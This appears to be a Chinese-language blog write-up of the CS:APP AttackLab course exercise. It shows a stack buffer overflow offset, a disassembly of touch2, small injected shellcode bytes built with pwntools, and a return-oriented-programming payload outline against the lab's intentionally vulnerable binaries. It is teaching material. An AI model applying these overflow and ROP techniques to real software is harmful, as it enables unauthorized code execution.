AttackLab

实验

touch1

结合汇编代码可以确定返回地址距离我们输入的buf距离为0x28,查看Gets函数如下:

char *__fastcall Gets(char *dest)
{
char *i; // rbx
int v2; // eax

gets_cnt = 0;
for ( i = dest; ; ++i )
{
v2 = _IO_getc(infile);
if ( v2 == -1 || v2 == 10 )
break;
*i = v2;
save_char(v2);
}
*i = 0;
save_term();
return dest;
}

可以输入任意数量的字符

那就好办了,我们使用附件里的hex2raw文件构造输入,再用管道符输入到文件中即可

payload和attack效果如下:

touch2

不看IDA反汇编出来的伪代码了,感觉有点欺负人2333,直接objdump好了

从网上整了个nm配合objdump来反汇编指定函数的jio本

#!/bin/bash

vmlinux=$1
symbol=$2

if [ -z "$vmlinux" ]; then
echo "usage : $0 vmlinux symbol"
exit
fi

startaddress=$(nm -n $vmlinux | grep "\w\s$symbol" | awk '{print "0x"$1;exit}')
endaddress=$(nm -n $vmlinux | grep -A1 "\w\s$symbol" | awk '{getline; print "0x"$1;exit}')

if [ -z "$symbol" ]; then
echo "dump all symbol"
objdump -d $vmlinux
else
echo "start-address: $startaddress, end-address: $endaddress"
objdump -d $vmlinux --start-address=$startaddress --stop-address=$endaddress
fi

直接进touch2函数

start-address: 0x00000000004017ec, end-address: 0x000000000040184c

ctarget: file format elf64-x86-64


Disassembly of section .text:

00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>

查看两个printf的参数,分别输出如下

那么即我们得让传入的参数和cookie相等,再跳转到touch2

经过调试发现我们rsp的地址是mmap出来的一块具有RWX权限的地址,那么这下就很简单了,直接能够执行代码了属于是,那👴🏻直接写汇编进去,再做一次ret

使用pwntools的命令行工具来生成汇编代码的二进制形式

$ pwn asm  'mov rdi,0x59b997fa; ret'  -c amd64 -c little
48c7c7fa97b959c3

验证一下

$ pwn disasm 48c7c7fa97b959c3 -c amd64
0: 48 c7 c7 fa 97 b9 59 mov rdi, 0x59b997fa
7: c3 ret

这。。。应该是成功了吧,毕竟没有Misfile,不知道下面的FAIL啥意思

touch3

ida反编译出来的hexmatch函数是什么玩意,看的一头雾水,参考了一下wp,发现不同大佬的wp中都直接有源码(从哪搞的。。)

那就是比较字符串是否相同呗,传个地址进入,这个地址需要指向cookie

就多绕了个弯,和touch2差不多

$ pwn asm  'mov rdi,0x5561dcb0;push 0x4018fa;ret'  -c amd64 -c little
48c7c7b0dc615568fa184000c3

rop2

rop系列栈无法执行,那么就用我们熟悉的rop来搞

首先是touch2(touch1跟之前那个没啥不一样的)

直接ROPgadget一把梭

payload就是pop_rdi_ret + cookie + touch2_address

rop3

卡住了,算偏移的时候算错了QAQ,大体思路采用一个大佬的图片

其中add_xy是farm里自带的函数,在rtarget中含有

总结反馈

  1. gdb调试带参数文件,set args -q,其中”-q”为参数
  2. objdump 配合 nm 反汇编出某个指定函数
  3. pwn asm 命令行工具生成二进制汇编数据,其中-c指定形式,默认linux/i386
  4. 二进制数据可以用管道符来输入到文件
文章作者: Alex
文章链接: http://example.com/2021/07/18/AttackLab/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~